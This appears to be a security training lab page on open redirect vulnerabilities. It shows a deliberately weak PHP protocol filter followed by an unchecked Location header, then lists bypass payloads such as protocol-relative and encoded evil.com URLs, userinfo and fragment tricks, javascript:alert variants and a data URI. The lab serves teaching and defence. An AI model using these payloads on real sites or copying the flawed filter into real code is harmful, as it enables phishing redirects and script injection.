Advanced Filter Bypasses
This lab demonstrates various filtering mechanisms and their bypass techniques for open redirect vulnerabilities. Test different bypass methods against different filters.
Objective: Master advanced filter bypass techniques and understand how inadequate filtering can be exploited.
// Simulate different filtering mechanisms
function applyFilter($url, $type) {
switch ($type) {
case 'protocol':
// Block common protocols
$blocked = ['http://', 'https://', 'ftp://', 'file://'];
foreach ($blocked as $protocol) {
if (stripos($url, $protocol) === 0) {
return false; // Blocked
}
}
return $url;
// ... other filters
}
}
$filtered_url = applyFilter($redirect_url, $bypass_type);
if (!empty($redirect_url) && $filtered_url !== false) {
header("Location: " . $filtered_url);
exit();
}
basic - No filteringprotocol - Blocks common protocolsdomain - Blocks external domainsjavascript - Blocks javascript: protocoldouble_encode - Blocks URL encodingurl, bypass//evil.com - Protocol relative URL\/\/evil.com - Escaped slashesht%74p://evil.com - URL encodinght%74%70://evil.com - Double encoding0x2f2fevil.com - Hex encoding//evil.com - Protocol relativehttp://localhost@evil.com - User info bypasshttp://127.0.0.1@evil.com - IP bypasshttp://evil.com#localhost - Fragment bypasshttp://evil.com?localhost - Query bypassjavascript:alert(1) - Basic javascriptJAVASCRIPT:alert(1) - Case variationjavascript:alert(1) - HTML entityjavascript%3Aalert(1) - URL encodingdata:text/html, - Data URIhttps://evil.com - No encodinghttps%3A//evil.com - Single encodinghttps%253A//evil.com - Double encodinghttps://evil.com - Mixed encoding